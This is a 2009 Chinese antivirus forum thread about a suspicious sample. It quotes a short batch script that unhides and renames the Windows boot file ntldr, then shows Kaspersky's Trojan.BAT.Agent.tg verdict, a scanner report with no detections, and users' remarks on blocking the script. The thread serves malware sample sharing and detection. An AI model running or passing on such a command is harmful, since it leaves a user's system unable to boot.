一个批处理~~~~~~~~~~~~~~~~~~~~~~~~

显示全部楼层 · 发表于 2009-9-20 13:05:55

一个批处理，来源：http://bbs.kafan.cn/thread-560344-1-1.html
微点防御成功
批处理代码：
attrib -r -a -s -h c:\ntldr
ren ntldr ntldr2
pause
卡巴斯基回复结果：
Hello,

mal.bat_ - Trojan.BAT.Agent.tg

New malicious software was found in this file. It's detection will be included in the next update. Thank you for your help.
http://www.virustotal.com/zh-cn/analisis/c262b314571a5522470f9c9477bdb1bfd61765b22c5f3ea3149bae8c357b53d6-1253422733，0

显示全部楼层 · 发表于 2009-9-20 13:10:52

无意义啊，顶多是个joke

，搞得别人进不了系统，这种东西只有带hips的杀软才防得住

显示全部楼层 · 发表于 2009-9-20 13:11:57

Multi Command-Line Scanner 报告
-------------------------------------------------------------------------
D:\TDDownload\mal.bat
MD5 Hash: 2B02DF9FBC361092B5E50596BEEC67E9

A-squared -----Nothing
AntiVir V7 -----Nothing
BitDefender -----Nothing
ClamWin -----Nothing
Dr.Web V5 -----Nothing
F-Prot -----Nothing
Mcafee -----Nothing
Panda -----Nothing
Sophos -----Nothing
VBA32 -----Nothing

*** 0/10 杀毒引擎在文件中发现病毒 ***
-------------------------------------------------------------------------

任务完成 @ 2009-09-20 星期日 13:11:34.54
注意: 结果可能与GUI版本不同。

显示全部楼层 · 发表于 2009-9-20 13:13:14

原帖由悠柚于 2009-9-20 13:10 发表
无意义啊，顶多是个joke ，搞得别人进不了系统，这种东西只有带hips的杀软才防得住

好啊，Joke，你运行看看？

显示全部楼层 · 发表于 2009-9-20 13:15:18

我是禁运党[:26:]

显示全部楼层 · 发表于 2009-9-20 13:16:36

运行后

不认识的程序，调用干什么

，直接block

显示全部楼层 · 发表于 2009-9-20 13:16:41

UG630=> BAT.Generic.Killfile

显示全部楼层 · 发表于 2009-9-20 13:22:52

有同感

显示全部楼层 · 发表于 2009-9-20 13:25:43

UG果然牛x

显示全部楼层 · 发表于 2009-9-20 13:57:31

没有上报党吗？

[可疑文件] 一个批处理~~~~~~~~~~~~~~~~~~~~~~~~

本帖子中包含更多资源

评分

回复 4楼 angir 的帖子

本帖子中包含更多资源

本帖子中包含更多资源

回复 6楼悠柚的帖子

回复 7楼 IllusionWing 的帖子

[可疑文件] 一个批处理~~~~~~~~~~~~~~~~~~~~~~~~

本帖子中包含更多资源

评分

回复 4楼 angir 的帖子

本帖子中包含更多资源

本帖子中包含更多资源

回复 6楼 悠柚 的帖子

回复 7楼 IllusionWing 的帖子

回复 6楼悠柚的帖子